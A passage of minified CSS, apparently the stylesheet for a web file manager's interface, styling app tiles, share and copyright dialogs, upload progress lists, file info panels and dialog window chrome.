rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize 